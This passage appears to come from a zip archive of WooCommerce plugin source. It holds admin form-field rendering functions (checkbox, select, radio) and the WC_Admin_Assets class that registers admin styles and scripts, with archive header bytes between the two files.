	global $thepostid, $post;

	$thepostid              = empty( $thepostid ) ? $post->ID : $thepostid;
	$field['class']         = isset( $field['class'] ) ? $field['class'] : 'checkbox';
	$field['style']         = isset( $field['style'] ) ? $field['style'] : '';
	$field['wrapper_class'] = isset( $field['wrapper_class'] ) ? $field['wrapper_class'] : '';
	$field['value']         = isset( $field['value'] ) ? $field['value'] : get_post_meta( $thepostid, $field['id'], true );
	$field['cbvalue']       = isset( $field['cbvalue'] ) ? $field['cbvalue'] : 'yes';
	$field['name']          = isset( $field['name'] ) ? $field['name'] : $field['id'];
	$field['desc_tip']      = isset( $field['desc_tip'] ) ? $field['desc_tip'] : false;

	// Custom attribute handling
	$custom_attributes = array();

	if ( ! empty( $field['custom_attributes'] ) && is_array( $field['custom_attributes'] ) ) {

		foreach ( $field['custom_attributes'] as $attribute => $value ) {
			$custom_attributes[] = esc_attr( $attribute ) . '="' . esc_attr( $value ) . '"';
		}
	}

	echo '<p class="form-field ' . esc_attr( $field['id'] ) . '_field ' . esc_attr( $field['wrapper_class'] ) . '">
		<label for="' . esc_attr( $field['id'] ) . '">' . wp_kses_post( $field['label'] ) . '</label>';

	if ( ! empty( $field['description'] ) && false !== $field['desc_tip'] ) {
		echo wc_help_tip( $field['description'] );
	}

	echo '<input type="checkbox" class="' . esc_attr( $field['class'] ) . '" style="' . esc_attr( $field['style'] ) . '" name="' . esc_attr( $field['name'] ) . '" id="' . esc_attr( $field['id'] ) . '" value="' . esc_attr( $field['cbvalue'] ) . '" ' . checked( $field['value'], $field['cbvalue'], false ) . '  ' . implode( ' ', $custom_attributes ) . '/> ';

	if ( ! empty( $field['description'] ) && false === $field['desc_tip'] ) {
		echo '<span class="description">' . wp_kses_post( $field['description'] ) . '</span>';
	}

	echo '</p>';
}

/**
 * Output a select input box.
 *
 * @param array $field Data about the field to render.
 */
function woocommerce_wp_select( $field ) {
	global $thepostid, $post;

	$thepostid = empty( $thepostid ) ? $post->ID : $thepostid;
	$field     = wp_parse_args(
		$field, array(
			'class'             => 'select short',
			'style'             => '',
			'wrapper_class'     => '',
			'value'             => get_post_meta( $thepostid, $field['id'], true ),
			'name'              => $field['id'],
			'desc_tip'          => false,
			'custom_attributes' => array(),
		)
	);

	$wrapper_attributes = array(
		'class' => $field['wrapper_class'] . " form-field {$field['id']}_field",
	);

	$label_attributes = array(
		'for' => $field['id'],
	);

	$field_attributes          = (array) $field['custom_attributes'];
	$field_attributes['style'] = $field['style'];
	$field_attributes['id']    = $field['id'];
	$field_attributes['name']  = $field['name'];
	$field_attributes['class'] = $field['class'];

	$tooltip     = ! empty( $field['description'] ) && false !== $field['desc_tip'] ? $field['description'] : '';
	$description = ! empty( $field['description'] ) && false === $field['desc_tip'] ? $field['description'] : '';
	?>
	<p <?php echo wc_implode_html_attributes( $wrapper_attributes ); // WPCS: XSS ok. ?>>
		<label <?php echo wc_implode_html_attributes( $label_attributes ); // WPCS: XSS ok. ?>><?php echo wp_kses_post( $field['label'] ); ?></label>
		<?php if ( $tooltip ) : ?>
			<?php echo wc_help_tip( $tooltip ); // WPCS: XSS ok. ?>
		<?php endif; ?>
		<select <?php echo wc_implode_html_attributes( $field_attributes ); // WPCS: XSS ok. ?>>
			<?php
			foreach ( $field['options'] as $key => $value ) {
				echo '<option value="' . esc_attr( $key ) . '"' . wc_selected( $key, $field['value'] ) . '>' . esc_html( $value ) . '</option>';
			}
			?>
		</select>
		<?php if ( $description ) : ?>
			<span class="description"><?php echo wp_kses_post( $description ); ?></span>
		<?php endif; ?>
	</p>
	<?php
}

/**
 * Output a radio input box.
 *
 * @param array $field
 */
function woocommerce_wp_radio( $field ) {
	global $thepostid, $post;

	$thepostid              = empty( $thepostid ) ? $post->ID : $thepostid;
	$field['class']         = isset( $field['class'] ) ? $field['class'] : 'select short';
	$field['style']         = isset( $field['style'] ) ? $field['style'] : '';
	$field['wrapper_class'] = isset( $field['wrapper_class'] ) ? $field['wrapper_class'] : '';
	$field['value']         = isset( $field['value'] ) ? $field['value'] : get_post_meta( $thepostid, $field['id'], true );
	$field['name']          = isset( $field['name'] ) ? $field['name'] : $field['id'];
	$field['desc_tip']      = isset( $field['desc_tip'] ) ? $field['desc_tip'] : false;

	echo '<fieldset class="form-field ' . esc_attr( $field['id'] ) . '_field ' . esc_attr( $field['wrapper_class'] ) . '"><legend>' . wp_kses_post( $field['label'] ) . '</legend>';

	if ( ! empty( $field['description'] ) && false !== $field['desc_tip'] ) {
		echo wc_help_tip( $field['description'] );
	}

	echo '<ul class="wc-radios">';

	foreach ( $field['options'] as $key => $value ) {

		echo '<li><label><input
				name="' . esc_attr( $field['name'] ) . '"
				value="' . esc_attr( $key ) . '"
				type="radio"
				class="' . esc_attr( $field['class'] ) . '"
				style="' . esc_attr( $field['style'] ) . '"
				' . checked( esc_attr( $field['value'] ), esc_attr( $key ), false ) . '
				/> ' . esc_html( $value ) . '</label>
		</li>';
	}
	echo '</ul>';

	if ( ! empty( $field['description'] ) && false === $field['desc_tip'] ) {
		echo '<span class="description">' . wp_kses_post( $field['description'] ) . '</span>';
	}

	echo '</fieldset>';
}
PK�3\����{�{class-wc-admin-assets.phpnu�[���<?php
/**
 * Load assets
 *
 * @package WooCommerce\Admin
 * @version 3.7.0
 */

use Automattic\Jetpack\Constants;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'WC_Admin_Assets', false ) ) :

	/**
	 * WC_Admin_Assets Class.
	 */
	class WC_Admin_Assets {

		/**
		 * Hook in tabs.
		 */
		public function __construct() {
			add_action( 'admin_enqueue_scripts', array( $this, 'admin_styles' ) );
			add_action( 'admin_enqueue_scripts', array( $this, 'admin_scripts' ) );
		}

		/**
		 * Enqueue styles.
		 */
		public function admin_styles() {
			global $wp_scripts;

			$version   = Constants::get_constant( 'WC_VERSION' );
			$screen    = get_current_screen();
			$screen_id = $screen ? $screen->id : '';

			// Register admin styles.
			wp_register_style( 'woocommerce_admin_menu_styles', WC()->plugin_url() . '/assets/css/menu.css', array(), $version );
			wp_register_style( 'woocommerce_admin_styles', WC()->plugin_url() . '/assets/css/admin.css', array(), $version );
			wp_register_style( 'jquery-ui-style', WC()->plugin_url() . '/assets/css/jquery-ui/jquery-ui.min.css', array(), $version );
			wp_register_style( 'woocommerce_admin_dashboard_styles', WC()->plugin_url() . '/assets/css/dashboard.css', array(), $version );
			wp_register_style( 'woocommerce_admin_print_reports_styles', WC()->plugin_url() . '/assets/css/reports-print.css', array(), $version, 'print' );
			wp_register_style( 'woocommerce_admin_marketplace_styles', WC()->plugin_url() . '/assets/css/marketplace-suggestions.css', array(), $version );
			wp_register_style( 'woocommerce_admin_privacy_styles', WC()->plugin_url() . '/assets/css/privacy.css', array(), $version );

			// Add RTL support for admin styles.
			wp_style_add_data( 'woocommerce_admin_menu_styles', 'rtl', 'replace' );
			wp_style_add_data( 'woocommerce_admin_styles', 'rtl', 'replace' );
			wp_style_add_data( 'woocommerce_admin_dashboard_styles', 'rtl', 'replace' );
			wp_style_add_data( 'woocommerce_admin_print_reports_styles', 'rtl', 'replace' );
			wp_style_add_data( 'woocommerce_admin_marketplace_styles', 'rtl', 'replace' );
			wp_style_add_data( 'woocommerce_admin_privacy_styles', 'rtl', 'replace' );

			if ( $screen && $screen->is_block_editor() ) {
				wp_register_style( 'woocommerce-general', WC()->plugin_url() . '/assets/css/woocommerce.css', array(), $version );
				wp_style_add_data( 'woocommerce-general', 'rtl', 'replace' );
			}

			// Sitewide menu CSS.
			wp_enqueue_style( 'woocommerce_admin_menu_styles' );

			// Admin styles for WC pages only.
			if ( in_array( $screen_id, wc_get_screen_ids() ) ) {
				wp_enqueue_style( 'woocommerce_admin_styles' );
				wp_enqueue_style( 'jquery-ui-style' );
				wp_enqueue_style( 'wp-color-picker' );
			}

			if ( in_array( $screen_id, array( 'dashboard' ) ) ) {
				wp_enqueue_style( 'woocommerce_admin_dashboard_styles' );
			}

			if ( in_array( $screen_id, array( 'woocommerce_page_wc-reports', 'toplevel_page_wc-reports' ) ) ) {
				wp_enqueue_style( 'woocommerce_admin_print_reports_styles' );
			}

			// Privacy Policy Guide css for back-compat.
			if ( isset( $_GET['wp-privacy-policy-guide'] ) || in_array( $screen_id, array( 'privacy-policy-guide' ) ) ) {
				wp_enqueue_style( 'woocommerce_admin_privacy_styles' );
			}

			// @deprecated 2.3.
			if ( has_action( 'woocommerce_admin_css' ) ) {
				do_action( 'woocommerce_admin_css' );
				wc_deprecated_function( 'The woocommerce_admin_css action', '2.3', 'admin_enqueue_scripts' );
			}

			if ( WC_Marketplace_Suggestions::show_suggestions_for_screen( $screen_id ) ) {
				wp_enqueue_style( 'woocommerce_admin_marketplace_styles' );
			}
		}


		/**
		 * Enqueue scripts.
		 */
		public function admin_scripts() {
			global $wp_query, $post;

			$screen       = get_current_screen();
			$screen_id    = $screen ? $screen->id : '';
			$wc_screen_id = sanitize_title( __( 'WooCommerce', 'woocommerce' ) );
			$suffix       = Constants::is_true( 'SCRIPT_DEBUG' ) ? '' : '.min';
			$version      = Constants::get_constant( 'WC_VERSION' );

			// Register scripts.
			wp_register_script( 'woocommerce_admin', WC()->plugin_url() . '/assets/js/admin/woocommerce_admin' . $suffix . '.js', array( 'jquery', 'jquery-blockui', 'jquery-ui-sortable', 'jquery-ui-widget', 'jquery-ui-core', 'jquery-tiptip' ), $version );
			wp_register_script( 'jquery-blockui', WC()->plugin_url() . '/assets/js/jquery-blockui/jquery.blockUI' . $suffix . '.js', array( 'jquery' ), '2.70', true );
			wp_register_script( 'jquery-tiptip', WC()->plugin_url() . '/assets/js/jquery-tiptip/jquery.tipTip' . $suffix . '.js', array( 'jquery' ), $version, true );
			wp_register_script( 'round', WC()->plugin_url() . '/assets/js/round/round' . $suffix . '.js', array( 'jquery' ), $version );
			wp_register_script( 'wc-admin-meta-boxes', WC()->plugin_url() . '/assets/js/admin/meta-boxes' . $suffix . '.js', array( 'jquery', 'jquery-ui-datepicker', 'jquery-ui-sortable', 'accounting', 'round', 'wc-enhanced-select', 'plupload-all', 'stupidtable', 'jquery-tiptip' ), $version );
			wp_register_script( 'zeroclipboard', WC()->plugin_url() . '/assets/js/zeroclipboard/jquery.zeroclipboard' . $suffix . '.js', array( 'jquery' ), $version );
			wp_register_script( 'qrcode', WC()->plugin_url() . '/assets/js/jquery-qrcode/jquery.qrcode' . $suffix . '.js', array( 'jquery' ), $version );
			wp_register_script( 'stupidtable', WC()->plugin_url() . '/assets/js/stupidtable/stupidtable' . $suffix . '.js', array( 'jquery' ), $version );
			wp_register_script( 'serializejson', WC()->plugin_url() . '/assets/js/jquery-serializejson/jquery.serializejson' . $suffix . '.js', array( 'jquery' ), '2.8.1' );
			wp_register_script( 'flot', WC()->plugin_url() . '/assets/js/jquery-flot/jquery.flot' . $suffix . '.js', array( 'jquery' ), $version );
			wp_register_script( 'flot-resize', WC()->plugin_url() . '/assets/js/jquery-flot/jquery.flot.resize' . $suffix . '.js', array( 'jquery', 'flot' ), $version );
			wp_register_script( 'flot-time', WC()->plugin_url() . '/assets/js/jquery-flot/jquery.flot.time' . $suffix . '.js', array( 'jquery', 'flot' ), $version );
			wp_register_script( 'flot-pie', WC()->plugin_url() . '/assets/js/jquery-flot/jquery.flot.pie' . $suffix . '.js', array( 'jquery', 'flot' ), $version );
			wp_register_script( 'flot-stack', WC()->plugin_url() . '/assets/js/jquery-flot/jquery.flot.stack' . $suffix . '.js', array( 'jquery', 'flot' ), $version );
			wp_register_script( 'wc-settings-tax', WC()->plugin_url() . '/assets/js/admin/settings-views-html-settings-tax' . $suffix . '.js', array( 'jquery', 'wp-util', 'underscore', 'backbone', 'jquery-blockui' ), $version );
			wp_register_script( 'wc-backbone-modal', WC()->plugin_url() . '/assets/js/admin/backbone-modal' . $suffix . '.js', array( 'underscore', 'backbone', 'wp-util' ), $version );
			wp_register_script( 'wc-shipping-zones', WC()->plugin_url() . '/assets/js/admin/wc-shipping-zones' . $suffix . '.js', array( 'jquery', 'wp-util', 'underscore', 'backbone', 'jquery-ui-sortable', 'wc-enhanced-select', 'wc-backbone-modal' ), $version );
			wp_register_script( 'wc-shipping-zone-methods', WC()->plugin_url() . '/assets/js/admin/wc-shipping-zone-methods' . $suffix . '.js', array( 'jquery', 'wp-util', 'underscore', 'backbone', 'jquery-ui-sortable', 'wc-backbone-modal' ), $version );
			wp_register_script( 'wc-shipping-classes', WC()->plugin_url() . '/assets/js/admin/wc-shipping-classes' . $suffix . '.js', array( 'jquery', 'wp-util', 'underscore', 'backbone' ), $version );
			wp_register_script( 'wc-clipboard', WC()->plugin_url() . '/assets/js/admin/wc-clipboard' . $suffix . '.js', array( 'jquery' ), $version );
			wp_register_script( 'select2', WC()->plugin_url() . '/assets/js/select2/select2.full' . $suffix . '.js', array( 'jquery' ), '4.0.3' );
			wp_register_script( 'selectWoo', WC()->plugin_url() . '/assets/js/selectWoo/selectWoo.full' . $suffix . '.js', array( 'jquery' ), '1.0.6' );
			wp_register_script( 'wc-enhanced-select', WC()->plugin_url() . '/assets/js/admin/wc-enhanced-select' . $suffix . '.js', array( 'jquery', 'selectWoo' ), $version );
			wp_register_script( 'js-cookie', WC()->plugin_url() . '/assets/js/js-cookie/js.cookie' . $suffix . '.js', array(), '2.1.4', true );

			wp_localize_script(
				'wc-enhanced-select',
				'wc_enhanced_select_params',
				array(
					'i18n_no_matches'           => _x( 'No matches found', 'enhanced select', 'woocommerce' ),
					'i18n_ajax_error'           => _x( 'Loading failed', 'enhanced select', 'woocommerce' ),
					'i18n_input_too_short_1'    => _x( 'Please enter 1 or more characters', 'enhanced select', 'woocommerce' ),
					'i18n_input_too_short_n'    => _x( 'Please enter %qty% or more characters', 'enhanced select', 'woocommerce' ),
					'i18n_input_too_long_1'     => _x( 'Please delete 1 character', 'enhanced select', 'woocommerce' ),
					'i18n_input_too_long_n'     => _x( 'Please delete %qty% characters', 'enhanced select', 'woocommerce' ),
					'i18n_selection_too_long_1' => _x( 'You can only select 1 item', 'enhanced select', 'woocommerce' ),
					'i18n_selection_too_long_n' => _x( 'You can only select %qty% items', 'enhanced select', 'woocommerce' ),
					'i18n_load_more'            => _x( 'Loading more results&hellip;', 'enhanced select', 'woocommerce' ),
					'i18n_searching'            => _x( 'Searching&hellip;', 'enhanced select', 'woocommerce' ),
					'ajax_url'                  => admin_url( 'admin-ajax.php' ),
					'search_products_nonce'     => wp_create_nonce( 'search-products' ),
					'search_customers_nonce'    => wp_create_nonce( 'search-customers' ),
					'search_categories_nonce'   => wp_create_nonce( 'search-categories' ),
					'search_pages_nonce'        => wp_create_nonce( 'search-pages' ),
				)
			);

			wp_register_script( 'accounting', WC()->plugin_url() . '/assets/js/accounting/accounting' . $suffix . '.js', array( 'jquery' ), '0.4.2' );
			wp_localize_script(
				'accounting',
				'accounting_params',
				array(
					'mon_decimal_point' => wc_get_price_decimal_separator(),
				)
			);

			wp_register_script( 'wc-orders', WC()->plugin_url() . '/assets/js/admin/wc-orders' . $suffix . '.js', array( 'jquery', 'wp-util', 'underscore', 'backbone', 'jquery-blockui' ), $version );
			wp_localize_script(
				'wc-orders',
				'wc_orders_params',
				array(
					'ajax_url'      => admin_url( 'admin-ajax.php' ),
					'preview_nonce' => wp_create_nonce( 'woocommerce-preview-order' ),
				)
			);

			// WooCommerce admin pages.
			if ( in_array( $screen_id, wc_get_screen_ids() ) ) {
				wp_enqueue_script( 'iris' );
				wp_enqueue_script( 'woocommerce_admin' );
				wp_enqueue_script( 'wc-enhanced-select' );
				wp_enqueue_script( 'jquery-ui-sortable' );
				wp_enqueue_script( 'jquery-ui-autocomplete' );

				$locale  = localeconv();
				$decimal = isset( $locale['decimal_point'] ) ? $locale['decimal_point'] : '.';

				$params = array(
					/* translators: %s: decimal */
					'i18n_decimal_error'                => sprintf( __( 'Please enter with one decimal point (%s) without thousand separators.', 'woocommerce' ), $decimal ),
					/* translators: %s: price decimal separator */
					'i18n_mon_decimal_error'            => sprintf( __( 'Please enter with one monetary decimal point (%s) without thousand separators and currency symbols.', 'woocommerce' ), wc_get_price_decimal_separator() ),
					'i18n_country_iso_error'            => __( 'Please enter in country code with two capital letters.', 'woocommerce' ),
					'i18n_sale_less_than_regular_error' => __( 'Please enter in a value less than the regular price.', 'woocommerce' ),
					'i18n_delete_product_notice'        => __( 'This product has produced sales and may be linked to existing orders. Are you sure you want to delete it?', 'woocommerce' ),
					'i18n_remove_personal_data_notice'  => __( 'This action cannot be reversed. Are you sure you wish to erase personal data from the selected orders?', 'woocommerce' ),
					'decimal_point'                     => $decimal,
					'mon_decimal_point'                 => wc_get_price_decimal_separator(),
					'ajax_url'                          => admin_url( 'admin-ajax.php' ),
					'strings'                           => array(
						'import_products' => __( 'Import', 'woocommerce' ),
						'export_products' => __( 'Export', 'woocommerce' ),
					),
					'nonces'                            => array(
						'gateway_toggle' => wp_create_nonce( 'woocommerce-toggle-payment-gateway-enabled' ),
					),
					'urls'                              => array(
						'import_products' => current_user_can( 'import' ) ? esc_url_raw( admin_url( 'edit.php?post_type=product&page=product_importer' ) ) : null,
						'export_products' => current_user_can( 'export' ) ? esc_url_raw( admin_url( 'edit.php?post_type=product&page=product_exporter' ) ) : null,
					),
				);

				wp_localize_script( 'woocommerce_admin', 'woocommerce_admin', $params );
			}

			// Edit product category pages.
			if ( in_array( $screen_id, array( 'edit-product_cat' ) ) ) {
				wp_enqueue_media();
			}

			// Products.
			if ( in_array( $screen_id, array( 'edit-product' ) ) ) {
				wp_enqueue_script( 'woocommerce_quick-edit', WC()->plugin_url() . '/assets/js/admin/quick-edit' . $suffix . '.js', array( 'jquery', 'woocommerce_admin' ), $version );

				$params = array(
					'strings' => array(
						'allow_reviews' => esc_js( __( 'Enable reviews', 'woocommerce' ) ),
					),
				);

				wp_localize_script( 'woocommerce_quick-edit', 'woocommerce_quick_edit', $params );
			}

			// Meta boxes.
			if ( in_array( $screen_id, array( 'product', 'edit-product' ) ) ) {
				wp_enqueue_media();
				wp_register_script( 'wc-admin-product-meta-boxes', WC()->plugin_url() . '/assets/js/admin/meta-boxes-product' . $suffix . '.js', array( 'wc-admin-meta-boxes', 'media-models' ), $version );
				wp_register_script( 'wc-admin-variation-meta-boxes', WC()->plugin_url() . '/assets/js/admin/meta-boxes-product-variation' . $suffix . '.js', array( 'wc-admin-meta-boxes', 'serializejson', 'media-models' ), $version );

				wp_enqueue_script( 'wc-admin-product-meta-boxes' );
				wp_enqueue_script( 'wc-admin-variation-meta-boxes' );

				$params = array(
					'post_id'                             => isset( $post->ID ) ? $post->ID : '',
					'plugin_url'                          => WC()->plugin_url(),
					'ajax_url'                            => admin_url( 'admin-ajax.php' ),
					'woocommerce_placeholder_img_src'     => wc_placeholder_img_src(),
					'add_variation_nonce'                 => wp_create_nonce( 'add-variation' ),
					'link_variation_nonce'                => wp_create_nonce( 'link-variations' ),
					'delete_variations_nonce'             => wp_create_nonce( 'delete-variations' ),
					'load_variations_nonce'               => wp_create_nonce( 'load-variations' ),
					'save_variations_nonce'               => wp_create_nonce( 'save-variations' ),
					'bulk_edit_variations_nonce'          => wp_create_nonce( 'bulk-edit-variations' ),
					/* translators: %d: Number of variations */
					'i18n_link_all_variations'            => esc_js( sprintf( __( 'Are you sure you want to link all variations? This will create a new variation for each and every possible combination of variation attributes (max %d per run).', 'woocommerce' ), Constants::is_defined( 'WC_MAX_LINKED_VARIATIONS' ) ? Constants::get_constant( 'WC_MAX_LINKED_VARIATIONS' ) : 50 ) ),
					'i18n_enter_a_value'                  => esc_js( __( 'Enter a value', 'woocommerce' ) ),
					'i18n_enter_menu_order'               => esc_js( __( 'Variation menu order (determines position in the list of variations)', 'woocommerce' ) ),
					'i18n_enter_a_value_fixed_or_percent' => esc_js( __( 'Enter a value (fixed or %)', 'woocommerce' ) ),
					'i18n_delete_all_variations'          => esc_js( __( 'Are you sure you want to delete all variations? This cannot be undone.', 'woocommerce' ) ),
					'i18n_last_warning'                   => esc_js( __( 'Last warning, are you sure?', 'woocommerce' ) ),
					'i18n_choose_image'                   => esc_js( __( 'Choose an image', 'woocommerce' ) ),
					'i18n_set_image'                      => esc_js( __( 'Set variation image', 'woocommerce' ) ),
					'i18n_variation_added'                => esc_js( __( 'variation added', 'woocommerce' ) ),
					'i18n_variations_added'               => esc_js( __( 'variations added', 'woocommerce' ) ),
					'i18n_no_variations_added'            => esc_js( __( 'No variations added', 'woocommerce' ) ),
					'i18n_remove_variation'               => esc_js( __( 'Are you sure you want to remove this variation?', 'woocommerce' ) ),
					'i18n_scheduled_sale_start'           => esc_js( __( 'Sale start date (YYYY-MM-DD format or leave blank)', 'woocommerce' ) ),
					'i18n_scheduled_sale_end'             => esc_js( __( 'Sale end date (YYYY-MM-DD format or leave blank)', 'woocommerce' ) ),
					'i18n_edited_variations'              => esc_js( __( 'Save changes before changing page?', 'woocommerce' ) ),
					'i18n_variation_count_single'         => esc_js( __( '%qty% variation', 'woocommerce' ) ),
					'i18n_variation_count_plural'         => esc_js( __( '%qty% variations', 'woocommerce' ) ),
					'variations_per_page'                 => absint( apply_filters( 'woocommerce_admin_meta_boxes_variations_per_page', 15 ) ),
				);

				wp_localize_script( 'wc-admin-variation-meta-boxes', 'woocommerce_admin_meta_boxes_variations', $params );
			}
			if ( in_array( str_replace( 'edit-', '', $screen_id ), wc_get_order_types( 'order-meta-boxes' ) ) ) {
				$default_location = wc_get_customer_default_location();

				wp_enqueue_script( 'wc-admin-order-meta-boxes', WC()->plugin_url() . '/assets/js/admin/meta-boxes-order' . $suffix . '.js', array( 'wc-admin-meta-boxes', 'wc-backbone-modal', 'selectWoo', 'wc-clipboard' ), $version );
				wp_localize_script(
					'wc-admin-order-meta-boxes',
					'woocommerce_admin_meta_boxes_order',
					array(
						'countries'              => wp_json_encode( array_merge( WC()->countries->get_allowed_country_states(), WC()->countries->get_shipping_country_states() ) ),
						'i18n_select_state_text' => esc_attr__( 'Select an option&hellip;', 'woocommerce' ),
						'default_country'        => isset( $default_location['country'] ) ? $default_location['country'] : '',
						'default_state'          => isset( $default_location['state'] ) ? $default_location['state'] : '',
						'placeholder_name'       => esc_attr__( 'Name (required)', 'woocommerce' ),
						'placeholder_value'      => esc_attr__( 'Value (required)', 'woocommerce' ),
					)
				);
			}
			if ( in_array( $screen_id, array( 'shop_coupon', 'edit-shop_coupon' ) ) ) {
				wp_enqueue_script( 'wc-admin-coupon-meta-boxes', WC()->plugin_url() . '/assets/js/admin/meta-boxes-coupon' . $suffix . '.js', array( 'wc-admin-meta-boxes' ), $version );
				wp_localize_script(
					'wc-admin-coupon-meta-boxes',
					'woocommerce_admin_meta_boxes_coupon',
					array(
						'generate_button_text' => esc_html__( 'Generate coupon code', 'woocommerce' ),
						'characters'           => apply_filters( 'woocommerce_coupon_code_generator_characters', 'ABCDEFGHJKMNPQRSTUVWXYZ23456789' ),
						'char_length'          => apply_filters( 'woocommerce_coupon_code_generator_character_length', 8 ),
						'prefix'               => apply_filters( 'woocommerce_coupon_code_generator_prefix', '' ),
						'suffix'               => apply_filters( 'woocommerce_coupon_code_generator_suffix', '' ),
					)
				);
			}
			if ( in_array( str_replace( 'edit-', '', $screen_id ), array_merge( array( 'shop_coupon', 'product' ), wc_get_order_types( 'order-meta-boxes' ) ) ) ) {
				$post_id                = isset( $post->ID ) ? $post->ID : '';
				$currency               = '';
				$remove_item_notice     = __( 'Are you sure you want to remove the selected items?', 'woocommerce' );
				$remove_fee_notice      = __( 'Are you sure you want to remove the selected fees?', 'woocommerce' );
				$remove_shipping_notice = __( 'Are you sure you want to remove the selected shipping?', 'woocommerce' );

				if ( $post_id && in_array( get_post_type( $post_id ), wc_get_order_types( 'order-meta-boxes' ) ) ) {
					$order = wc_get_order( $post_id );
					if ( $order ) {
						$currency = $order->get_currency();

						if ( ! $order->has_status( array( 'pending', 'failed', 'cancelled' ) ) ) {
							$remove_item_notice = $remove_item_notice . ' ' . __( "You may need to manually restore the item's stock.", 'woocommerce' );
						}
					}
				}

				$params = array(
					'remove_item_notice'            => $remove_item_notice,
					'remove_fee_notice'             => $remove_fee_notice,
					'remove_shipping_notice'        => $remove_shipping_notice,
					'i18n_select_items'             => __( 'Please select some items.', 'woocommerce' ),
					'i18n_do_refund'                => __( 'Are you sure you wish to process this refund? This action cannot be undone.', 'woocommerce' ),
					'i18n_delete_refund'            => __( 'Are you sure you wish to delete this refund? This action cannot be undone.', 'woocommerce' ),
					'i18n_delete_tax'               => __( 'Are you sure you wish to delete this tax column? This action cannot be undone.', 'woocommerce' ),
					'remove_item_meta'              => __( 'Remove this item meta?', 'woocommerce' ),
					'remove_attribute'              => __( 'Remove this attribute?', 'woocommerce' ),
					'name_label'                    => __( 'Name', 'woocommerce' ),
					'remove_label'                  => __( 'Remove', 'woocommerce' ),
					'click_to_toggle'               => __( 'Click to toggle', 'woocommerce' ),
					'values_label'                  => __( 'Value(s)', 'woocommerce' ),
					'text_attribute_tip'            => __( 'Enter some text, or some attributes by pipe (|) separating values.', 'woocommerce' ),
					'visible_label'                 => __( 'Visible on the product page', 'woocommerce' ),
					'used_for_variations_label'     => __( 'Used for variations', 'woocommerce' ),
					'new_attribute_prompt'          => __( 'Enter a name for the new attribute term:', 'woocommerce' ),
					'calc_totals'                   => __( 'Recalculate totals? This will calculate taxes based on the customers country (or the store base country) and update totals.', 'woocommerce' ),
					'copy_billing'                  => __( 'Copy billing information to shipping information? This will remove any currently entered shipping information.', 'woocommerce' ),
					'load_billing'                  => __( "Load the customer's billing information? This will remove any currently entered billing information.", 'woocommerce' ),
					'load_shipping'                 => __( "Load the customer's shipping information? This will remove any currently entered shipping information.", 'woocommerce' ),
					'featured_label'                => __( 'Featured', 'woocommerce' ),
					'prices_include_tax'            => esc_attr( get_option( 'woocommerce_prices_include_tax' ) ),
					'tax_based_on'                  => esc_attr( get_option( 'woocommerce_tax_based_on' ) ),
					'round_at_subtotal'             => esc_attr( get_option( 'woocommerce_tax_round_at_subtotal' ) ),
					'no_customer_selected'          => __( 'No customer selected', 'woocommerce' ),
					'plugin_url'                    => WC()->plugin_url(),
					'ajax_url'                      => admin_url( 'admin-ajax.php' ),
					'order_item_nonce'              => wp_create_nonce( 'order-item' ),
					'add_attribute_nonce'           => wp_create_nonce( 'add-attribute' ),
					'save_attributes_nonce'         => wp_create_nonce( 'save-attributes' ),
					'calc_totals_nonce'             => wp_create_nonce( 'calc-totals' ),
					'get_customer_details_nonce'    => wp_create_nonce( 'get-customer-details' ),
					'search_products_nonce'         => wp_create_nonce( 'search-products' ),
					'grant_access_nonce'            => wp_create_nonce( 'grant-access' ),
					'revoke_access_nonce'           => wp_create_nonce( 'revoke-access' ),
					'add_order_note_nonce'          => wp_create_nonce( 'add-order-note' ),
					'delete_order_note_nonce'       => wp_create_nonce( 'delete-order-note' ),
					'calendar_image'                => WC()->plugin_url() . '/assets/images/calendar.png',
					'post_id'                       => isset( $post->ID ) ? $post->ID : '',
					'base_country'                  => WC()->countries->get_base_country(),
					'currency_format_num_decimals'  => wc_get_price_decimals(),
					'currency_format_symbol'        => get_woocommerce_currency_symbol( $currency ),
					'currency_format_decimal_sep'   => esc_attr( wc_get_price_decimal_separator() ),
					'currency_format_thousand_sep'  => esc_attr( wc_get_price_thousand_separator() ),
					'currency_format'               => esc_attr( str_replace( array( '%1$s', '%2$s' ), array( '%s', '%v' ), get_woocommerce_price_format() ) ), // For accounting JS.
					'rounding_precision'            => wc_get_rounding_precision(),
					'tax_rounding_mode'             => wc_get_tax_rounding_mode(),
					'product_types'                 => array_unique( array_merge( array( 'simple', 'grouped', 'variable', 'external' ), array_keys( wc_get_product_types() ) ) ),
					'i18n_download_permission_fail' => __( 'Could not grant access - the user may already have permission for this file or billing email is not set. Ensure the billing email is set, and the order has been saved.', 'woocommerce' ),
					'i18n_permission_revoke'        => __( 'Are you sure you want to revoke access to this download?', 'woocommerce' ),
					'i18n_tax_rate_already_exists'  => __( 'You cannot add the same tax rate twice!', 'woocommerce' ),
					'i18n_delete_note'              => __( 'Are you sure you wish to delete this note? This action cannot be undone.', 'woocommerce' ),
					'i18n_apply_coupon'             => __( 'Enter a coupon code to apply. Discounts are applied to line totals, before taxes.', 'woocommerce' ),
					'i18n_add_fee'                  => __( 'Enter a fixed amount or percentage to apply as a fee.', 'woocommerce' ),
				);

				wp_localize_script( 'wc-admin-meta-boxes', 'woocommerce_admin_meta_boxes', $params );
			}

			// Term ordering - only when sorting by term_order.
			if ( ( strstr( $screen_id, 'edit-pa_' ) || ( ! empty( $_GET['taxonomy'] ) && in_array( wp_unslash( $_GET['taxonomy'] ), apply_filters( 'woocommerce_sortable_taxonomies', array( 'product_cat' ) ) ) ) ) && ! isset( $_GET['orderby'] ) ) {

				wp_register_script( 'woocommerce_term_ordering', WC()->plugin_url() . '/assets/js/admin/term-ordering' . $suffix . '.js', array( 'jquery-ui-sortable' ), $version );
				wp_enqueue_script( 'woocommerce_term_ordering' );

				$taxonomy = isset( $_GET['taxonomy'] ) ? wc_clean( wp_unslash( $_GET['taxonomy'] ) ) : '';

				$woocommerce_term_order_params = array(
					'taxonomy' => $taxonomy,
				);

				wp_localize_script( 'woocommerce_term_ordering', 'woocommerce_term_ordering_params', $woocommerce_term_order_params );
			}

			// Product sorting - only when sorting by menu order on the products page.
			if ( current_user_can( 'edit_others_pages' ) && 'edit-product' === $screen_id && isset( $wp_query->query['orderby'] ) && 'menu_order title' === $wp_query->query['orderby'] ) {
				wp_register_script( 'woocommerce_product_ordering', WC()->plugin_url() . '/assets/js/admin/product-ordering' . $suffix . '.js', array( 'jquery-ui-sortable' ), $version, true );
				wp_enqueue_script( 'woocommerce_product_ordering' );
			}

			// Reports Pages.
